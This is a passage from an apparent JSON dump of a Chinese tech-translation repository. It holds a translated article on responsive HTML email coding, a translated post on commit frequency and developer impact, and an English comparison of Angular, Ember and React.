Yeaman](https://twitter.com/stylecampaign)、[Nicole Merlin](https://twitter.com/moonstrips)、[Fabio Carneiro](https://twitter.com/flcarneiro)、[Elliot Ross](https://twitter.com/iamelliot) 和 [Brian Graves](https://twitter.com/briangraves) 这样的人都在致力于使电子邮件设计成为一门真正的工艺。\n\n## 进化的收件箱\n\n就像Web的其他部分一样，收件箱也开始走向移动化。在2013年，[51%的用户在移动设备上打开邮件](https://litmus.com/blog/email-client-market-share-where-people-opened-in-2013)。而且还考虑到 [越来越多人](http://blogs.hbr.org/2013/05/the-rise-of-the-mobile-only-us/) 使用移动设备来连接互联网，无论出于爱好与习性，这一数字还在持续增长。\n\n好消息是，Web 设计人员现有的创造一个对大多数用户所重视的良好的用户体验的技能也适用于邮件广告，这也是被许多设计者忽略的。\n\n## HTML邮件的原理是什么\n\n通常来讲，假设 web 设计与 [遵循Web标准的设计](http://en.wikipedia.org/wiki/Designing_with_Web_Standards) 无关，那么 HTML 邮件与网页设计很类似。HTML 邮件基于三样东西：表格，HTML 属性，内联样式。在你学习写 HTML 邮件的时候要知道。由于电子邮件客户端渲染引擎的限制，我们只能使用 HTML 与 CSS 中非常有限的一部分子集。Campaign Monitor 在维护一份有关大多数主流邮件客户端所支持的 CSS 属性的 [非常好的图表](http://www.campaignmonitor.com/css/)。\n\n在我们讲如何构建自适应的邮件前我们先回顾一下 HTML 邮件的基础。举个例子，我曾改编过我们在 Litmus 中通讯用的邮件模板。多亏了 Litmus 和我们出色的设计师 [Kevin Mandeville](http://dribbble.com/KEVINgotbounce)，A List Apart 的读者们可以学习并且使用我们在许多电子邮件广告中使用的代码，这些现在都在 [A List Apart 的 Github 账号](https://github.com/alistapart/salted) 上。你可以查看 [Litmus tests](https://litmus.com/pub/d5586ad/screenshots) 的全部示例来看他在跨客户端中的表现。\n\n### 表格\n\n许多 Web 开发者喜欢使用 **div**、**header**、**section**、**article**、**nav** 和 **footer** 这样的标签来构建 Web 页面的架构。不幸的是，电子邮件开发者没有闲工夫去使用语义化标签。相反，你**必须**使用表格来给你的电子邮件布局。这些表格会嵌套的非常……深。\n\n设置表格的基本样式会用到许多人平常不会用到的属性：**width**、**height**、**bgcolor**、**align**、**cellpadding**、**cellspacing** 和 **border**。结合像 **padding**、**width**和 **max-width** 这样的属性，设计者可以构建出更健壮的邮件布局。\n\n一个编码良好的表格示例在邮件中是看起来是这样的：\n\n```\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"100%\">\n\t<tr>\n\t\t<td bgcolor=\"#333333\">\n\t\t\t<div align=\"center\" style=\"padding: 0px 15px 0px 15px;\">\n\t\t\t\t<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\" class=\"wrapper\">\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td>…Content…</td>\n\t\t\t\t\t</tr>\n\t\t\t\t</table>\n\t\t\t</div>\n\t\t</td>\n\t</tr>\n</table>\n```\n\n你可以看到我们如何嵌套表格并且使用 **border**、**cellpadding** 和 **cellspacing** 属性来确保设计中没有多余的空隙。在表格单元层中使用比 **background** 和 **background-color** 更可靠的 **bgcolor** 属性（尽管 **background-color** 也很有地位）。\n\n有一个有趣的事情是，div 标签被用来剧中表格并且给内容提供内边距。虽然表格应该承担大部分的结构，但是偶尔使用 **div** 标签给内容定位，提供内边距和设置一些基本样式是非常实用的。无论如何，因为大多数邮件客户端解析盒子模型都有一些问题，所以在邮件中使用 div 构建主要架构会使邮件布局变得非常不可靠。\n\n### 图片\n\n在邮件中使用图片与在 Web 页面是使用图片非常类似，但是有一个警告：大多数邮件客户端默认禁用图片导致许多订阅者只能看到些无意义占位图。\n![](http://alistapart.com/d/395/can-email-be-responsive/can-email-be-responsive-1.png)\n\n图片被禁用的邮件\n\n尽管没有办法自动显示那些图片，我们可以使用提示文字（ alt-text ）来改善一下现有情况。我们甚至可以通过给 **img** 标签设置内联样式来给提示文字设置样式来维持与原设置的相似外观。\n\n```\n<img src=\"img/fluid-images.jpg\" width=\"240\" height=\"130\" style=\"display: block; color: #666666; font-family: Helvetica, arial, sans-serif; font-size: 13px; width: 240px; height: 130px;\" alt=\"Fluid images\" border=\"0\" class=\"img-max\">\n```\n\n通过使用上述代码可以使我们缺失的图片现在看起来有了一定意义:\n![](http://alistapart.com/d/395/can-email-be-responsive/can-email-be-responsive-2.png)\n\n提示文字还有待被普及\n\n### 发起互动\n\nHTML 邮件的主要优势之一就是可以使用超链接。HTML 邮件允许你使用又大又优美的按钮取缔传统的副本链接来吸引订阅者。\n\n许多邮件营销人员使用图片作为链接按钮。然而，如果使用 [Bulletproof buttons](http://buttons.cm)，即使是在图片被禁用的情况下也可以允许设计人员通过代码来渲染出可靠的跨平台按钮。\n\n下面是一个用纯 HTML 制作的按钮，这个按钮通过边框来确保整个按钮不光是文字，而是整个按钮都是可以点击的:\n\n```\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\" class=\"responsive-table\">\n\t<tr>\n\t\t<td align=\"center\"><a href=\"http://alistapart.com\" target=\"_blank\" style=\"font-size: 16px; font-family: Helvetica, Arial, sans-serif; font-weight: normal; color: #666666; text-decoration: none; background-color: #5D9CEC; border-top: 15px solid #5D9CEC; border-bottom: 15px solid #5D9CEC; border-left: 25px solid #5D9CEC; border-right: 25px solid #5D9CEC; border-radius: 3px; -webkit-border-radius: 3px; -moz-border-radius: 3px; display: inline-block;\" class=\"mobile-button\">Learn More →</a></td>\n\t</tr>\n</table>\n```\n\n![](http://alistapart.com/d/395/can-email-be-responsive/can-email-be-responsive-3.png)\n\n即使图片被禁用，Bulletproof buttons依旧表现良好。\n\n一旦你掌握了这些基础，我们就可以继续了解如何让邮件在一系列不同的设备尺寸上依旧表现良好。\n\n## 响应式邮件的原理是什么\n\n与响应式网页一样，响应式邮件也有三大组件：弹性图片，弹性布局和媒体查询。\n\n网页与邮件唯一不同的是这三种技术的实现方式。\n\n在邮件设计中，我们只能使用 HTML 和 CSS 的一部分。我们不能依靠使用在响应式网页中的那些属性；margin，float和 em 在许多客户端上无效。所以我们必须另辟蹊径。\n\n### 弹性布局图片\n\n弹性布局图片不是最棘手的。虽然他们的 **width** 属性被设定为100%，除非高度和宽度使用相应的 HTML 属性定义，否则有些客户端可能在把图片渲染成预期大小时会有问题。因此，我们不得不先给他们设定成特定尺寸，之后才敲定具体尺寸。\n\n第一步是确保使用健壮的代码来编码图片。让我们看一下早先在邮件中的图片的代码。\n\n```\n<img src=\"responsive-email.jpg\" width=\"500\" height=\"200\" border=\"0\" alt=\"Can an email really be responsive?\" style=\"display: block; padding: 0; color: #666666; text-decoration: none; font-family: Helvetica, arial, sans-serif; font-size: 16px;\" class=\"img-max\">\n```\n\n注意到里面的 **display** 属性了吗? 就像 border 属性一样，那是也是应对淘气的邮件客户端的众多 hack 手段之一。许多电子邮件客户端给图片设置块级布局也可以消除那些空隙并完成你的布局。在图片周围增加空白来解决可能出现的行高问题。\n现在，当我们想让我们的图片是弹性布局的时候，我们可以在邮件头部使用媒体查询:\n\n```\nimg[class=\"img-max”] {\n\twidth:100% !important;\n\theight: auto !important;\n}\n```\n\n并不是每一个图片都需要是弹性布局。例如 logo 和社交网站的图标无论设备的大小如何都要保持相同的大小，这就是我们用类名来标记需要弹性布局图片的原因。\n\n由于我们经常覆盖我们写的内联样式和 HTML 属性，所以使用 important 声明使文档渲染的时候确保我们的响应式样式会被优先表现。\n\n现在让我们来跳到有点儿难度的地方吧。\n\n### 弹性布局\n\n大多数 Web 开发者都对使用 [相对单位](http://alistapart.com/article/fluidgrids) 来定义 [语义化标签](http://alistapart.com/article/semanticsinhtml5) 的大小来开发响应式布局很熟悉，例如百分数、ems、rems。虽然我们还是可以在电子邮件中使用百分比来进行弹性布局，但是他们在被内联使用时会在表格和其他一些元素上收到一些限制。\n\n几乎所有的表格都会使用百分数来设置宽度。但是在那些处理百分数上效果不太好的客户端上有一个例外，尤其在大多数 Microsoft Outlook 的版本中，使用一个固定宽度的表格来做容器容纳所有的邮件内容以防止内容超出布局范围时效果不佳。\n\n让我们从表格容器开始看起：\n\n```\n<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\" width=\"500\" class=\"wrapper\">\n\t<tr>\n\t\t<td>…Content…</td>\n\t</tr>\n</table>\n```\n\n你看到我们使用 **width** 属性来强制使表格500像素宽。\n\n这个表格容器可以容纳在 email 中的所有其他表格。因为容器会逼迫所有元素在500像素内显示，所以我们可以安全的在我们其他表格中使用百分比来设置大小。\n\n但是弹性表格永远是500像素宽有什么好处呢？让我们再一次看一下容器表格。注意我使用的 **wrapper** 类。我们将会通过媒体查询使用这个类选择器使我们的邮件达到真正的响应式。\n\n### 在电子邮件中使用媒体查询\n\n在电子邮件中使用媒体查询与在网页设计中一样。你可以在电子邮件中的头部引用媒体查询，从而使你的样式针对不同的设备属性做出调整。\n\n简单而言，我们将视窗（viewports）针对在 **max-width** 525像素及以下。然后针对那个容器表格，我们覆盖他们的 HTML 属性与内联样式来强制表格水平占满移动设备屏幕。\n\n```\n@media screen and (max-width:525px) {\n\ttable[class=“wrapper”] \n\t\twidth:100% !important;\n\t}\n}\n```\n\n我们也可以其他任何嵌套在内层的表格设置一样的效果来给内容节点布局以提升在移动设备上的体验。在移动设备上增加文字和按钮的大小也是个好主意。\n\n```\n@media screen and (max-width:525px) {\n\tbody, table, td, a {\n\t\tfont-size:16px !important;\n\t}\t\n\ttable[id=“responsive-table”] {\n\t\twidth:100% !important;\n\t}\n}\n```\n\n使用媒体查询的唯一缺点是媒体查询的兼容性并不太好。虽然像 iOS Mail 和 Android 默认客户端那样的基于 WebKit 渲染引擎的邮件客户端上没问题，但是在老旧的黑莓设备、Windows Phone 8 和所有平台的 Gmail 应用都会无视媒体查询。\n\n幸运的是，iOS 和 Android  在移动邮件收发设备中 [占据了大多数](http://emailclientmarketshare.com)，所以大多数订阅者都可以按照你的设计看到你的响应式邮件。\n\n### 探索电子邮件设计\n\n上述的这些技巧都仅仅是入门。前卫的邮件开发者正在研究在邮件中使用 Web 字体，SVG，和 CSS3 动画。当然，邮件设计依旧十分困难而且常常违背预期，但是这不应该阻止你去探索更多能提高你和你的用户体验的技术。\n\n我唯一的建议是非常严格地测试你的邮件。从渲染能力和对HTML/CSS的支持程度，邮件客户端还远不及浏览器。既要在真机测试，也要使用邮件预览服务测试。邮件预览服务例如 [Litmus](http://litmus.com)、[Email on Acid](http://emailonacid.com)，你自己的 [测试环境](http://stylecampaign.com/blog/2012/09/mobile-email-testing-rig/)，或者其他一些能在你发送给海量订阅者前帮助你找到并修复问题的工具。\n\n非常严格的测试你编写的任意邮件，还要跟踪你的用户对 [哪种内容](http://mailchimp.com/resources/guides/how-to-create-an-email-marketing-plan/html/)、副本、设计和 [发送频率](http://www.campaignmonitor.com/guides/planning/qanda/) 的满意程度。\n\n综上所述，别小看邮件设计。它现在很糟糕，但是会变得越来越好。一个关于邮件设计的 [社区终于建好了](https://litmus.com/community)，这方面的技术在逐渐提高。响应式邮件只是主题之一。如果你真的关心在你的网络上的产品，你会把你的热情与工艺应用到你的界面上并把它转化成最普及和最有价值的媒体工具。"
  },
  {
    "path": "TODO/check-in-frequency-and-codebase-impact-the-surprising-correlation.md",
    "content": "* 原文地址：[ Prolific Engineers Take Small Bites — Patterns in Developer Impact ](https://blog.gitprime.com/check-in-frequency-and-codebase-impact-the-surprising-correlation/ )\n* 原文作者：[ Ben Thompson ]( https://blog.gitprime.com/author/ben-thompson)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[cdpath](https://github.com/cdpath)\n* 校对者：[marcmoore (Mark)](https://github.com/marcmoore), [phxnirvana (PhxNirvana)](https://github.com/phxnirvana)\n\n# 高效的工程师一步一步来 —— 开发者影响力中的模式\n\n工程师的工作模式可以揭示他们性格中一些有趣的东西，不过和你想象的不太一样。\n\n### 前提假设：要速度还是要数量\n\n要探讨这个，我们得先假设团队里有的工程师易于快速切换工作，其他人则更喜欢一次搞定大量工作。如果假设成立，我们可以用频率和工作量这两个轴画出工程师的分布，就像这样：\n![](https://blog.gitprime.com/hubfs/GitPrime/Blog/eng-character-1assumption-4.png?t=1481225729545)\n\n但是「工作量」如何定义呢？\n\n### 什么是「大」工作量？\n\n我们试了能想到的所有衡量「大」工作量的手段。因为代码行数 (LoC) 比较简单（也很能说明问题！），所以用它来做基准线。尽管代码行数并不是切实可行的度量，详见这篇[更深入的文章](http://blog.gitprime.com/lines-of-code-is-a-worthless-metric-except-when-it-isnt/)，但它确实为我们找到更好的标准开了个头儿。\n\n真正的挑战是找到一种度量，可以判断出用五行更高效的代码替换五十行旧代码的工作量要高于写一百行未编辑过的原型代码。毕竟从头开始写新代码可比追查一个可恶的 bug 结果只修改了四行代码要来得容易。\n\n我们穷尽了能想到的所有办法尝试衡量工作量的大小：总体代码量，源码库中有效代码行数，被持续使用的代码，用到的文件数，不同的编辑位置数。差不多能想到的手段都用上了。\n\n最后帮我们搞定这个难题的是大量关于工程工作的学术研究，尤其是关于提交常态（commit normality）的，正是这个概念最终促使我们找到了可以公平衡量工程工作量的指标，也叫做[「影响力（Impact）」](https://blog.gitprime.com/impact-a-better-way-to-measure-codebase-change)。\n\n我们用影响力交叉衡量几个数据点，试着让数值接近我们认知上的工程工作量，再做一些调整，最后找到了比代码行数更符合开发者直觉的度量。\n\n### 快速学习很重要\n\n分析了数千个团队的数百万个提交（commit）之后，我们最初提出的关于工程师如何工作的理论被彻底推翻了。\n\n更新代码的频率和个人对源码库的综合影响力的关联如此紧密以至于两者在作用上完全相等了，两者的关系如下图所示：\n\n![](https://blog.gitprime.com/hubfs/GitPrime/Blog/eng-character-2actual-1.png?t=1481225729545)\n\n当调整我们能想到的任何度量时，提交频率和对源码库的综合影响力都以同样的速率变化。\n\n这种相关性如此之强，实际上在分析了数千个团队超过两千万个提交之后，我们没有找到一个有力的反例。\n\n### 高影响力的工程师细分工作，提交频繁\n\n这个观点本身就比较有意思，因为提出「我们得干更多活」就是种蹩脚的、试图提高工程团队产出的方法。大多数工程师已经尽力了，所以如果团队要「干更多活」，不能马上看出来什么东西，结果就是伤害了大家的感情。\n\n这个特殊的数据集有意思的地方在于，它暗示了有可能通过某种结构性的工作方式的调整来提升工作效率。\n\n将工作分成小部分已是公认的最佳实践，不过这个数据表明它比我们想象的还重要：鼓励细分工作（并且实行反馈机制帮助更好地实现）看起来是更可行的激励更高的个人影响力（impact）的手段。\n\n「细分工作，频繁提交」是可行且可见的；而说「干更多活」实际上只能增加压力。\n\n而且这是整体上的提升：除了通常有助于提高工程师的能力并提高个人影响力以外，更小更频繁的提交还可以为团队的其他成员带来额外的好处：\n\n- 更细粒度的提交便于追踪 bug\n- 撤回具体的改动比撤回一大块改动更容易。\n- 细分的工作重点明确，团队成员做代码审查和集成也更容易。\n- 更少的合并提交可以减少流程上的开支。\n\n### 成功的工程活动图\n\n我们的确创造了能说明很多工程风格的东西，但是得到它的过程却出乎我们的意料。我们用了从影响力概念了解到的所有东西一股脑塞进了一个叫做**生产量**的轴。经过了所有的探索，我们终于得到了能够度量软件开发中代码影响力的方法，可以替换掉过度简化的代码行数了。我们具体计算影响力的方法参见[这篇文章](http://help.gitprime.com/537-calculations/1606-what-is-impact)。\n\n另一个轴是**改动率**，用来衡量工程师花了多少精力重写最近的代码。\n\n把结果画成散点图可以充分说明一个工程师在特定时间段内（相对于团队其他成员）工作模式。\n\n![成功地用来可视化软件工程师工作方式的框架](https://blog.gitprime.com/hubfs/GitPrime/Blog/eng-character-3rev2.png?t=1481225729545) \n\n我们可以从这张可视化图看出一些启示：\n\n- 左下角还是最初设计中的「难题发现者」。\n- 左上角表示那些探索新实现方式的工程师，我们经常可以在这一区域看到提出新特性的原型的工程师。\n- 右下角则是那些「完美主义者」，他们的代码改动率在团队中较低，但是总体进展速度也较慢。\n- 最后**右上角**代表提交频繁，不太需要返工的工程师，最好别打扰他们，他们正干得起劲呢！\n\n---\n\n**备注：**\n\n1. 感谢 [Bobby Wallace](https://twitter.com/bikeath1337) 帮忙将可视化图中的「探索（Exploring）」象限改成了「发现（Discovery)」。\n"
  },
  {
    "path": "TODO/choosing-a-front-end-framework-angular-ember-react.md",
    "content": ">* 原文链接 : [CHOOSING A FRONT END FRAMEWORK: ANGULAR VS. EMBER VS. REACT](http://smashingboxes.com/blog/choosing-a-front-end-framework-angular-ember-react)\n* 原文作者 : [Zach Kuhn](http://smashingboxes.com/bio/zach-kuhn)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者: \n* 状态： 认领中\n\n\nAs front end engineers, we live in exciting times. The big three of web frameworks are all approaching or have had major new releases. Ember released 2.0 less than two months ago by making it a stealthily easy upgrade from its previous version. Just a couple weeks ago [React released 0.14](https://facebook.github.io/react/blog/2015/10/07/react-v0.14.html), a major step on its march to 1.0\\. AngularConnect, a conference in London later this week, will likely shine light on Angular 2’s timeline.  \n\nThere are, of course, many other client side frameworks. There are libraries who have been around for some time but whose popularity are waning, like Backbone and Knockout. There are also new and interesting entrants, like Aurelia. But if you are making a decision on creating a web app today, Angular, Ember or React are the safest bets for long term support and active communities. Which one is best for you? Let’s explore what each of these new major releases bring to the table and what benefits each one offers.\n\n### ![AngularJS 2.0 Strengths and Weaknesses](http://smashingboxes.com/media/W1siZiIsIjIwMTUvMTAvMjAvMTAvNDEvNDgvOTE5L2FuZ3VsYXJfMi4wLnBuZyJdXQ/angular%202.0.png?sha=c182c65bfad4aa24)  \n\n### Angular 2.0 (is a dramatic change from before)\n\nAngular is currently the most popular of the three and for good reason. It was the first released and represented a large improvement over the previous generation of client-side MVC frameworks. Angular took a pragmatic approach that resonated with its adopters.\n\nAll this was jeopardized with the announcement of Angular 2.0\\. It was a bit of a fiasco. Unlike Ember’s approach, the second version of Angular reinvisioned what the framework could be. This meant big, dramatic changes to almost every piece of code. It would have made reusing code from version 1.X almost impossible. The upgrade path was all but impassable.\n\nThen a relative miracle of software engineering happened. The Angular team devised a way [to allow projects to run both Angular 1.X and 2.0 code at the same time](http://angularjs.blogspot.com/2015/08/angular-1-and-angular-2-coexistence.html). Upgrading could now be a gradual process. In my opinion, this saved the framework from almost certain stagnation and the horror of thousands of challenging to maintain, legacy code bases.\n\nHaving dodged that demise, most projects created today should still use the latest 1.X release of Angular and plan to gradually embrace version 2.0 once it is out. If you can afford to be on the bleeding edge and don’t intend to release this year, by all means start using their new version. Do expect the API’s to change, though, which can eat up more and more time as your project grows.\n\n#### What should you look forward to in version 2.0?\n\nLots. This framework is undergoing the largest change between versions by far.\n\nDevelopment on Angular 2.0 emphasizes removing the framework’s unnecessary complexity. They removed and replaced directives, controllers, modules, scopes and nearly every other concept from version 1.X. What’s left is a framework that uses features of ES2015 and ES2016 to the fullest and makes different design decisions that the team hopes will make the framework easier to learn.\n\nBeyond the focus on making the framework simpler, there are several other notable goals for version 2.0:\n\n*   Performance improvements\n*   Native app support\n*   Server-side rendering\n\nThese changes are huge for Angular and would have been challenging to build with 1.X. Let’s go into a little bit of detail about these three changes and what they mean for the framework.\n\n##### Performance\n\nImproving performance was one of the top items on anyone’s wish list for Angular’s next version. If you’ve worked enough with Angular, you’ve hit points where the simple implementation breaks down and an app starts to crawl. There almost always exists a way to fix the performance problems, but the framework didn’t guide you away from shooting yourself in the foot.\n\nAngular hamstrung its performance with how it polled state. During every digest cycle, the framework checks if any of hundreds or thousands of values in your app changed. Its new model adopts a practice React popularized: one-way data flow and immutable data. By embracing these, Angular now only updates once the data changes. Detecting change becomes a quick check of an object’s reference and not all its values.\n\n##### Native Apps\n\nCreating native apps using Angular is a big advancement planned on the roadmap for 2.0\\. The Angular team met with the React team and discussed how this could be done. It looks as though they are building 2.0’s native app rendering using React Native underneath, allowing it to piggyback on that piece of technology. This will usher in a new generation of hybrid apps that perform like native but share logic across multiple platforms.\n\n##### Server-Side Rendering\n\nAnother long requested feature for Angular is the ability to render on the server. Server-side rendering speeds up initial page load times and improves SEO by making dynamic pages easy to crawl. Seeing pages render faster is going to greatly improve the feel of the next generation of web apps written in Angular.\n\n#### ![Angular 2.0 JavaScript Framework Strengths and Weaknesses | Smashing Boxes Blog](http://smashingboxes.com/media/W1siZiIsIjIwMTUvMTAvMjAvMTAvMzEvNTkvNTUzL1NjcmVlbl9TaG90XzIwMTVfMTBfMjBfYXRfMTAuMjcuMTdfQU0ucG5nIl1d/Screen%20Shot%202015-10-20%20at%2010.27.17%20AM.png?sha=b9885a92578605b6)\n\n#### Who should use Angular?\n\nAngular will likely maintain as the most popular client side framework for quite some time. This makes it a safe choice for anyone starting a new project. 2.0 represents a gigantic shift from the first version of Angular. In fact, the shift is similar to how Ember became so different from SproutCore (fun fact, Ember was originally SproutCore 2.0).\n\nAngular 2.0 is written in TypeScript, a programming language from Microsoft that adds type checking and other enhancements to JavaScript. In fact, [in a recent poll of its community](http://angularjs.blogspot.com/2015/09/angular-2-survey-results.html), the largest group of developers said they too would be using TypeScript. This and other features of the framework make it reasonable to assume Angular will remain the framework of choice for large enterprises. As of today it is risky to start using 2.0, but its time may come soon.\n\n![Ember JS Strengths and Weaknesses](http://smashingboxes.com/media/W1siZiIsIjIwMTUvMTAvMjAvMTAvNDMvMzkvNTMzL2VtYmVyXzIuMC5wbmciXV0/ember%202.0.png?sha=5256dc85a2ad31a0)\n\n### Ember 2.0 (snuck up on us)  \n\nEmber is a framework that positions itself as _the_ framework for ambitious projects. Some apps built with Ember include many of Apple’s properties, Discourse (a new take on forums by Jeff Atwood), and Ghost (a modern blogging engine). Ember is driven by two legendary software engineers in the industry, Yehuda Katz and Tom Dale. Unlike the other frameworks discussed here, however, Ember is not built by a mega-corporation. Though it does have an amazing, passionate, and active community around it.\n\nPrior to 1.0, Ember grew notorious for its changing API’s as they discovered where they wanted to take the framework. Afterwards, to the credit of the team working on it, they’ve proven capable of making large underlying changes while only gradually changing the user facing parts. They took this approach with the release earlier this year of Glimmer, a high speed rendering engine. With 2.0 they removed the deprecated parts that couldn’t take advantage of this new engine. Any app that runs with Ember 2.X will fly.\n\n#### What’s coming in the future of version 2.X?\n\n*   Further adoption of ES2015 features like modules, classes, and decorators\n*   A departure from the Mustache templating and the use of bracket syntax for components\n*   A change to the project layout structure to what are called pods—instead of grouping by function (controllers, models, components, etc.), now the top levels will be by feature\n*   Controllers will be removed in favor of routable components\n*   Advancement of their server side renderer to help reduce page load times and improve search engine optimization\n\n#### ![Ember 2.0 JavaScript Framework Strengths and Weaknesses | Smashing Boxes Blog](http://smashingboxes.com/media/W1siZiIsIjIwMTUvMTAvMjAvMTAvMzIvMzYvMzMyL1NjcmVlbl9TaG90XzIwMTVfMTBfMjBfYXRfMTAuMjYuNTdfQU0ucG5nIl1d/Screen%20Shot%202015-10-20%20at%2010.26.57%20AM.png?sha=a3cf15093adcd58c)\n\n#### Who should use Ember?\n\nEmber makes a great choice for writing web apps. As mentioned above, many ambitious apps are built using the framework. It has been particularly well received by the Ruby community, including our own Ruby devs at Smashing Boxes. If you are a Ruby shop, Ember is a fantastic choice. A ton of documentation, articles, and blogs exist on combining these two technologies. Want to know how to combine Rails with the Ember CLI? [Easy, here is a series telling you how](http://smashingboxes.com/ideas/merging-rails-and-ember-cli).\n\nEmber is also the best solution for those who buy into the all-tools-included framework approach. Often we waste time discovering, researching, and gluing together libraries that don’t mesh well. Ember makes so many decisions for you, which provides surprising value. There are pros and cons to both approaches, but those who want everything to just work well together will love Ember.\n\n![React JS Strengths and Weaknesses | Smashing Boxes Blog](http://smashingboxes.com/media/W1siZiIsIjIwMTUvMTAvMjAvMTAvNDQvNTMvNjk3L1JlYWN0XzEuMC5wbmciXV0/React%201.0.png?sha=886b9b43c826ec79)\n\n### React 1.0 (will likely look a lot like 0.14)\n\nReact is the lightest weight of the three being compared here. In fact, it can’t even be considered a framework. It does one thing really well: render UI components. Many even pair it with the above frameworks. However, a more common scenario is to use it with a Flux architecture.\n\nFlux is a different take on Model-View-Controller. Like the rest of the React ecosystem, however, it is still just a library to handle one thing. In this case, it communicates actions from the view layer down to the model layer it changes. It still doesn’t contain other typical parts of a framework like communicating with a server, validating models, or injecting dependencies. There are of course other libraries for handling those things if your project needs them.\n\nFacebook created React to solve the problems they were having with keeping their UI consistent across the page. It made a splash with its release because it offered incredible performance and server side rendering—two features that competing frameworks struggle with. It is interesting to see that Angular and Ember are catching up with their new releases.\n\nReact continues to make large innovations in the space. Most notable is React Native. Facebook got the speed of native apps while sharing code across mobile phone platforms. Earlier last month [they open sourced the Android part of React Native](https://code.facebook.com/posts/1189117404435352/react-native-for-android-how-we-built-the-first-cross-platform-react-native-app/), making it a serious option for anyone wanting to make a native app.\n\n#### What are some of the React team’s big goals for their 1.0 release?\n\n*   Revamped project website\n*   Improved documentation\n*   Robust handling of animations\n\nMost of them revolve around making a better developer experience. The big feature missing right now is an easy way to create animations with React elements. With so few planned changes, it looks like the 1.0 release may happen soon.\n\n#### ![React 1.0 JavaScript Framework Strengths and Weaknesses | Smashing Boxes Blog](http://smashingboxes.com/media/W1siZiIsIjIwMTUvMTAvMjAvMTAvMzIvNTkvNzAyL1NjcmVlbl9TaG90XzIwMTVfMTBfMjBfYXRfMTAuMjcuMzFfQU0ucG5nIl1d/Screen%20Shot%202015-10-20%20at%2010.27.31%20AM.png?sha=4a027d6af769157b)\n\n#### Who should use React?\n\nReact is a great choice for new and existing projects alike. It is easy to pull out pieces of your UI and redo them within React. This makes it an appropriate choice if you need to gradually modernize an existing code base. At Smashing Boxes, many of our front end engineers have grown to love the library. React and Flux help trivialize some of the most challenging parts of building web apps.\n\nReact has been at the forefront of client-side MVC advancements for the last couple years. Other frameworks are playing catch-up with many of the things React can do. You also see this with how the community embraces new technology. React projects are commonly written in ES2015, ahead of browser support for it. If you value being on the cutting edge or simple libraries over complete frameworks, React is your choice.\n\n### Head to Head to Head Comparison\n\nHaving built the [TodoMVC app](http://todomvc.com/) with each of these, I have a few thoughts on each. First, these frameworks feel like they are converging. Although they all have unique features, many of the best ideas end up in all three. One-way data flow is an example of this. Also, components as XML elements will soon be in all three.  \n\nOf these frameworks, Ember was the quickest to get something started. Immediately you have a web server that reloads the page on changes and best practices right out of the box. With the other two, you might spend time configuring Webpack or Gulp to get a project off the ground. You might fiddle with how you want the project laid out. Or you might spend time searching for a boilerplate project to copy. By virtue of being opinionated, Ember removes all that friction.\n\nYet, for me, Ember took the longest to learn of the three. For such a small toy project, it felt like overkill. Also, it seems there are specific ways Ember wants you to do things and going outside of that is difficult. It’s no surprise, these two things are often said about Rails. To me that signals Ember would scale well to long-lived projects with many developers.  \n\nIn comparison, the other two frameworks eagerly played along with whatever I wanted to do. Angular 2.0 surprised me a little. It is nothing like Angular 1.X, but it was easy to build the app once I found some examples to learn from.\n\nIn the final code, the Angular app had the fewest lines. React came in second. It is strange to describe, but when writing React code I find it easier to think, “OK, I should pull this chunk of logic out into its own component.” This adds to the lines of code but makes future changes much easier. In Angular and Ember, it’s a little too easy to continue adding lines to the template and new functionality to the component.\n\nThe final products were within 100KB of one another and loaded in around 300ms when serving locally. The TodoMVC is too small to stress out the performance of any of these frameworks. However, looking at [something like DBMonster tells you a bit about these frameworks](https://www.youtube.com/watch?v=z5e7kWSHWTg&feature=youtu.be&t=2m30s). This app became the onus for Ember’s Glimmer engine. Now it is safe to say all three frameworks perform admirably in that benchmark.\n\n### Who Wins?\n\n![Javascript framework comparison: Angular vs Ember vs. React](http://smashingboxes.com/media/W1siZiIsIjIwMTUvMTAvMjIvMTQvMDEvMjQvMjUvU2NyZWVuX1Nob3RfMjAxNV8xMF8yMl9hdF8yLjAwLjIwX1BNLnBuZyJdXQ/Screen%20Shot%202015-10-22%20at%202.00.20%20PM.png?sha=690cea3d157763dc)\n\nIt is easy to see why these three frameworks are so popular. They all have a lot of strengths. Because of that, I suggest you learn and work with all three like we do here at Smashing Boxes. There is no clear winner. Some frameworks fit some situations better than the others. Even if nothing else, learning all three will help you write better code by taking what you’ve learned from each framework with you to the next one.  \n\nAs for myself, I am really enjoying React and the ecosystem around it. [Its basic concepts are simple to learn](http://smashingboxes.com/ideas/learn-react-part-1). It is easy to work with for small proofs of concept and it scales well as a project grows. I can’t quantify this, but its concepts help me write correct, bug-free code. If I were starting a new project today, React would be the tool I would choose.\n\nHaving said that, the future is bright for all three of these frameworks. The next generation of these frameworks will be blazing fast and support server-side rendering. Angular and React will support native UI components on iOS and Android. We are able to do even more things with these frameworks than we ever could in the past. Already well acquainted with JS frameworks but want to dive deeper with interesting work? [Apply to work with us](http://smashingboxes.com/jobs).\n"
  },
  {
    "path": "TODO/choosing-right-markdown-parser.md",
